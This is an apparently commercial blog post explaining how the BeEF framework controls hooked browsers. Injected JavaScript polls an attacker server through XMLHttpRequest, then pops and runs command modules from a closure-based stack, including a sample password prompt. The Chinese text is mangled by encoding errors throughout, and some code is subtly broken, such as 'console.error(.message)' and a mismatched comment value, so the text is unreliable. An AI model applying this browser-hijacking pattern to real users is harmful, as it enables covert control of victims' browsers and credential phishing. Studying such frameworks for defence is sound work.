現(xiàn)在通信技術(shù)是越來(lái)越發(fā)達(dá)了,說(shuō)到通信,如果是真想完全了解它的朋友,南昌網(wǎng)絡(luò)公司小編首先要建議大家的是必須理解各種通信渠道的工作原理。在選擇適當(dāng)?shù)那罆r(shí),必須考慮瀏覽器是否支持,以及速度如何。
一些使用先進(jìn)技術(shù)且非??焖俚那?,可能IE6或Opera不支持。根據(jù)你的需求,這可能是個(gè)問(wèn)題。比如,你只對(duì)Chrome感興趣,因?yàn)槟阆牍羲臄U(kuò)展程序。于是,你決定使用WebSocket渠道。那么為了額外的速度,你可能就得犧牲瀏覽器兼容性。
幾乎每一種通信渠道都需要用到輪詢。輪詢就是客戶端不斷檢查服務(wù)器是否有變化或更新。
實(shí)際實(shí)現(xiàn)輪詢需要客戶端和服務(wù)器的配合。而此時(shí)的客戶端是被注入到目標(biāo)瀏覽器中的JavaScript所控制的,服務(wù)器則是攻擊者所擁有的依賴輪詢的軟件。既然提到輪詢,那么今天南昌網(wǎng)絡(luò)公司小編就來(lái)為大家介紹一下如何使用XMLHttpRequest實(shí)現(xiàn)向服務(wù)器發(fā)送異步請(qǐng)求。
XMLHttpRequest對(duì)象非常適合作為默認(rèn)的通信渠道,因?yàn)樗袨g覽器都支持它。無(wú)論是黑莓手機(jī),還是安卓系統(tǒng),抑或Windows XP中的IE6,都支持XMLHttpRequest對(duì)象。在IE5、IE6等老版本的IE中,需要將Microsoft.XMLHTTP作為ActiveX對(duì)象初始化,而從IE7開(kāi)始,這個(gè)對(duì)象就原生存在了。
基于XMLHttpRequest對(duì)象的通信非常簡(jiǎn)單。只要通過(guò)這個(gè)對(duì)象不斷創(chuàng)建發(fā)送給攻擊服務(wù)器(在這里比如是BeEF)的異步GET請(qǐng)求即可。這些請(qǐng)求定時(shí)發(fā)送,比如使用setInterval(send-Request(),2000) Javascript函數(shù)每2秒發(fā)送一次。BeEF服務(wù)器通過(guò)以下兩種方式響應(yīng):
1、以空響應(yīng)表示沒(méi)有新動(dòng)作;
2、以Content-length大于0的響應(yīng)告訴被控制的瀏覽器執(zhí)行新命令。
如圖1所示,框線框住的響應(yīng)大小為365字節(jié),因?yàn)榉?wù)器給客戶端發(fā)送了新命令。
新的邏輯是利用JavaScript閉包的JavaScript代碼。例如,在下面的代碼示例中,exec_wrapper就是一個(gè)閉包:
var a = 123;
function exec_wrapper(){
var b = 789;
function do_something(){
a = 456;
console.log(a); // 456 ->函數(shù)作用域
console.log(b); // 678 ->函數(shù)作用域
};
return do_something;
}
console.log(a); // 123 ->全局作用域
var wrapper = exec_wrapper();
wrapper();
閉包非常適合添加動(dòng)態(tài)代碼,因?yàn)殚]包中的私有變量(通過(guò)var聲明)在全局作用域中是不可見(jiàn)的。使用閉包,可以將環(huán)境數(shù)據(jù)與操作該數(shù)據(jù)的函數(shù)關(guān)聯(lián)起來(lái)。
講到這里,南昌網(wǎng)絡(luò)公司小編想告訴大家的是,如果你想多次提交前面的代碼,為了將新代碼“限制”在它自己的函數(shù)中,將其邏輯封裝到閉包中是必需的。根據(jù)BeEF的分類方法,后面的例子將稱其為命令模塊,因?yàn)樗鼈兪菫g覽器要執(zhí)行的新命令。
擴(kuò)展閉包的思想,可以創(chuàng)建一個(gè)包裝器,把命令模塊添加到棧中。每次輪詢請(qǐng)求完成,stack.pop()會(huì)確保移除棧中最后一個(gè)元素,然后執(zhí)行它。下面的代碼就是這種方法的示例實(shí)現(xiàn)。為簡(jiǎn)單起見(jiàn),這里沒(méi)有包含lock對(duì)象和poll()函數(shù):
/**
* 命令棧
*/
commands: new Array(),
/**
* 包含器。將命令模塊添加到命令棧中
*/
execute: function(fn) {
this.commands.push(fn);
},
/**
* 輪詢。如果響應(yīng)不等于0,調(diào)用execute_commands()
*/
get_commands: function() {
try {
this.lock = true;
//輪詢server_host以獲得新命令
poll(server_host, function(response) {
if (response.body != null && response.body.length > 0)
execute_commands();
});
} catch(e){
this.lock = false;
return;
}
this.lock = false;
},
/**
* 如果有的話,執(zhí)行接收到的新命令
*/
execute_commands: function() {
if(commands.length == 0) return;
this.lock = true;
while(commands.length > 0) {
command = commands.pop();
try {
command();
} catch(e) {
console.error(.message);
}
}
this.lock = false;
}
正如你所見(jiàn),在execute_commands()函數(shù)中,如果命令棧不是空的,則每一項(xiàng)都會(huì)被彈出并執(zhí)行。之所以可以在try塊中調(diào)用command(),是因?yàn)槭褂昧碎]包,即命令模塊被封裝在了自己的匿名函數(shù)中:
execute(function() {
var msg = "What is your password?";
prompt(msg);
});
匿名函數(shù)是指在運(yùn)行時(shí)動(dòng)態(tài)聲明的沒(méi)有名字的函數(shù)。匿名函數(shù)特別適合執(zhí)行小塊代碼,特別是那些只會(huì)執(zhí)行一次,不會(huì)在別處被調(diào)用的代碼。在注冊(cè)事件處理器的時(shí)候,匿名函數(shù)的使用非常頻繁,例如:
aButton.addEventListener('click',function(){alert('you clicked me');},false);
在前面的命令模塊進(jìn)入目標(biāo)瀏覽器的DOM,并調(diào)用execute()后,下面的JavaScript代碼會(huì)成為命令棧中新的一層:
function() {
var msg = "What is your password?";
prompt(msg);
}
最終,當(dāng)運(yùn)行commands.pop()并執(zhí)行彈出的代碼時(shí),就會(huì)出現(xiàn)一個(gè)prompt對(duì)話框,顯示msg的內(nèi)容。
看一看示例的實(shí)現(xiàn)代碼,可以清楚地看到commands數(shù)組是作為一個(gè)棧來(lái)實(shí)現(xiàn)的。棧是一種后進(jìn)先出(Last In First Out,LIFO)的數(shù)據(jù)結(jié)構(gòu)。看到這里估計(jì)有朋友可能覺(jué)得奇怪,為什么不把它實(shí)現(xiàn)為先進(jìn)先出(First In First Out,F(xiàn)IFO)的數(shù)據(jù)結(jié)構(gòu)?這個(gè)問(wèn)題南昌網(wǎng)絡(luò)公司小編認(rèn)為問(wèn)的很好,其實(shí)答案是取決于你的需要。如果想讓命令模塊的執(zhí)行彼此關(guān)聯(lián),讓相鄰的模塊及輸入相互依賴,比如后一個(gè)模塊的輸入依賴前一個(gè)模塊的輸出,那么FIFO的數(shù)據(jù)結(jié)構(gòu)可能更合適。
以上內(nèi)容便是本公司為大家介紹的關(guān)于使用XMLHttpRequest實(shí)現(xiàn)向服務(wù)器發(fā)送異步請(qǐng)求的方法,如果還有哪些不明白的地方,可來(lái)電和我們聯(lián)系,我們一一為您解答。